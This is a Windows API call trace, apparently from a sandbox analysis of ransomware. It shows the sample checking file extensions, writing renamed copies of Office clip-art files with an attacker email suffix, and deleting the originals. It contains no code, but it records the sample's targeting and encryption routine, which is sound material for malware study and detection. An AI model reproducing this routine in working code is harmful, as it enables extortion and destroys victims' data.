	[0179.736] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.736] lstrlenW (lpString=".7z") returned 3
	[0179.736] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0179.736] lstrlenW (lpString=".dbf") returned 4
	[0179.736] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0179.736] lstrlenW (lpString=".1cd") returned 4
	[0179.736] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0179.736] lstrlenW (lpString=".jpg") returned 4
	[0179.736] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0179.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0179.736] lstrlenW (lpString=".doc") returned 4
	[0179.736] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.736] lstrlenW (lpString=".docx") returned 5
	[0179.736] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0179.737] lstrlenW (lpString=".pdf") returned 4
	[0179.737] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.737] lstrlenW (lpString=".xls") returned 4
	[0179.737] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.737] lstrlenW (lpString=".xlsx") returned 5
	[0179.737] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0179.737] lstrlenW (lpString=".ppt") returned 4
	[0179.737] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0179.737] lstrlenW (lpString=".zip") returned 4
	[0179.737] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.737] lstrlenW (lpString=".rar") returned 4
	[0179.737] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.737] lstrlenW (lpString=".bz2") returned 4
	[0179.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.737] lstrlenW (lpString=".7z") returned 3
	[0179.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0179.737] lstrlenW (lpString=".dbf") returned 4
	[0179.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0179.737] lstrlenW (lpString=".1cd") returned 4
	[0179.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0179.737] lstrlenW (lpString=".jpg") returned 4
	[0179.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.737] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0179.738] lstrlenW (lpString="IN00915_.WMF") returned 12
	[0179.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0180.058] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=12748) returned 1
	[0180.069] CloseHandle (hObject=0x574) returned 1
	[0180.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf")) returned 0x220
	[0180.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0180.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0180.069] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.070] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c
	[0180.071] GetLastError () returned 0x0
	[0180.071] ReadFile (in: hFile=0x574, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x31cc, lpOverlapped=0x0) returned 1
	[0180.075] WriteFile (in: hFile=0x46c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x31d0, lpOverlapped=0x0) returned 1
	[0180.076] ReadFile (in: hFile=0x574, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.076] WriteFile (in: hFile=0x46c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.076] SetEndOfFile (hFile=0x46c) returned 1
	[0180.077] CloseHandle (hObject=0x46c) returned 1
	[0180.077] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.077] SetEndOfFile (hFile=0x574) returned 1
	[0180.081] CloseHandle (hObject=0x574) returned 1
	[0180.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0180.081] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf")) returned 1
	[0180.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0180.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0180.082] lstrlenW (lpString=".doc") returned 4
	[0180.082] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.082] lstrlenW (lpString=".docx") returned 5
	[0180.082] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0180.082] lstrlenW (lpString=".pdf") returned 4
	[0180.082] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.082] lstrlenW (lpString=".xls") returned 4
	[0180.082] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.082] lstrlenW (lpString=".xlsx") returned 5
	[0180.082] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0180.082] lstrlenW (lpString=".ppt") returned 4
	[0180.082] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0180.082] lstrlenW (lpString=".zip") returned 4
	[0180.082] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.082] lstrlenW (lpString=".rar") returned 4
	[0180.082] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.082] lstrlenW (lpString=".bz2") returned 4
	[0180.082] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.082] lstrlenW (lpString=".7z") returned 3
	[0180.082] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0180.082] lstrlenW (lpString=".dbf") returned 4
	[0180.082] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0180.083] lstrlenW (lpString=".1cd") returned 4
	[0180.083] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0180.083] lstrlenW (lpString=".jpg") returned 4
	[0180.083] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0180.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0180.083] lstrlenW (lpString=".doc") returned 4
	[0180.083] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.083] lstrlenW (lpString=".docx") returned 5
	[0180.083] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0180.083] lstrlenW (lpString=".pdf") returned 4
	[0180.083] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.083] lstrlenW (lpString=".xls") returned 4
	[0180.083] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.083] lstrlenW (lpString=".xlsx") returned 5
	[0180.083] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0180.083] lstrlenW (lpString=".ppt") returned 4
	[0180.083] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0180.083] lstrlenW (lpString=".zip") returned 4
	[0180.083] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.083] lstrlenW (lpString=".rar") returned 4
	[0180.083] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.083] lstrlenW (lpString=".bz2") returned 4
	[0180.083] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.083] lstrlenW (lpString=".7z") returned 3
	[0180.083] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0180.083] lstrlenW (lpString=".dbf") returned 4
	[0180.084] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0180.084] lstrlenW (lpString=".1cd") returned 4
	[0180.084] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0180.084] lstrlenW (lpString=".jpg") returned 4
	[0180.084] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.084] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0180.084] lstrlenW (lpString="J0086428.WMF") returned 12
	[0180.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0180.085] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=35346) returned 1
	[0180.085] CloseHandle (hObject=0x574) returned 1
	[0180.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 0x220
	[0180.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0180.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0180.085] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.085] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c
	[0180.086] GetLastError () returned 0x0
	[0180.086] ReadFile (in: hFile=0x574, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x8a12, lpOverlapped=0x0) returned 1
	[0180.089] WriteFile (in: hFile=0x46c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x8a20, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x8a20, lpOverlapped=0x0) returned 1
	[0180.091] ReadFile (in: hFile=0x574, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.091] WriteFile (in: hFile=0x46c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.091] SetEndOfFile (hFile=0x46c) returned 1
	[0180.091] CloseHandle (hObject=0x46c) returned 1
	[0180.091] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.091] SetEndOfFile (hFile=0x574) returned 1
	[0180.094] CloseHandle (hObject=0x574) returned 1
	[0180.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0180.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 1
	[0180.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0180.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0180.416] lstrlenW (lpString=".doc") returned 4
	[0180.416] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.416] lstrlenW (lpString=".docx") returned 5
	[0180.416] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0180.416] lstrlenW (lpString=".pdf") returned 4
	[0180.416] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.416] lstrlenW (lpString=".xls") returned 4
	[0180.416] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.416] lstrlenW (lpString=".xlsx") returned 5
	[0180.416] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0180.416] lstrlenW (lpString=".ppt") returned 4
	[0180.416] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0180.416] lstrlenW (lpString=".zip") returned 4
	[0180.416] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.416] lstrlenW (lpString=".rar") returned 4
	[0180.416] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.416] lstrlenW (lpString=".bz2") returned 4
	[0180.416] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.416] lstrlenW (lpString=".7z") returned 3
	[0180.416] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0180.416] lstrlenW (lpString=".dbf") returned 4
	[0180.417] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0180.417] lstrlenW (lpString=".1cd") returned 4
	[0180.417] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0180.417] lstrlenW (lpString=".jpg") returned 4
	[0180.417] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0180.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0180.417] lstrlenW (lpString=".doc") returned 4
	[0180.417] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.417] lstrlenW (lpString=".docx") returned 5
	[0180.417] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0180.417] lstrlenW (lpString=".pdf") returned 4
	[0180.417] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.417] lstrlenW (lpString=".xls") returned 4
	[0180.417] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.417] lstrlenW (lpString=".xlsx") returned 5
	[0180.417] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0180.417] lstrlenW (lpString=".ppt") returned 4
	[0180.417] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0180.417] lstrlenW (lpString=".zip") returned 4
	[0180.417] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.417] lstrlenW (lpString=".rar") returned 4
	[0180.417] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.418] lstrlenW (lpString=".bz2") returned 4
	[0180.418] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.418] lstrlenW (lpString=".7z") returned 3
	[0180.418] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0180.418] lstrlenW (lpString=".dbf") returned 4
	[0180.418] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0180.418] lstrlenW (lpString=".1cd") returned 4
	[0180.418] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0180.419] lstrlenW (lpString=".jpg") returned 4
	[0180.419] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.419] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0180.419] lstrlenW (lpString="J0090149.WMF") returned 12
	[0180.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0180.420] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=28212) returned 1
	[0180.420] CloseHandle (hObject=0x5c4) returned 1
	[0180.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 0x220
	[0180.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0180.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0180.422] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.422] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0180.424] GetLastError () returned 0x0
	[0180.424] ReadFile (in: hFile=0x5c4, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x6e34, lpOverlapped=0x0) returned 1
	[0180.427] WriteFile (in: hFile=0x5b4, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x6e40, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x6e40, lpOverlapped=0x0) returned 1
	[0180.428] ReadFile (in: hFile=0x5c4, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.428] WriteFile (in: hFile=0x5b4, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.429] SetEndOfFile (hFile=0x5b4) returned 1
	[0180.429] CloseHandle (hObject=0x5b4) returned 1
	[0180.429] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.429] SetEndOfFile (hFile=0x5c4) returned 1
	[0180.433] CloseHandle (hObject=0x5c4) returned 1
	[0180.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0180.434] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 1
	[0180.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0180.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0180.435] lstrlenW (lpString=".doc") returned 4
	[0180.435] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.435] lstrlenW (lpString=".docx") returned 5
	[0180.435] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0180.435] lstrlenW (lpString=".pdf") returned 4
	[0180.435] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.435] lstrlenW (lpString=".xls") returned 4
	[0180.435] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.435] lstrlenW (lpString=".xlsx") returned 5
	[0180.435] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0180.435] lstrlenW (lpString=".ppt") returned 4
	[0180.435] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0180.435] lstrlenW (lpString=".zip") returned 4
	[0180.435] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.435] lstrlenW (lpString=".rar") returned 4
	[0180.435] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.435] lstrlenW (lpString=".bz2") returned 4
	[0180.435] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.435] lstrlenW (lpString=".7z") returned 3
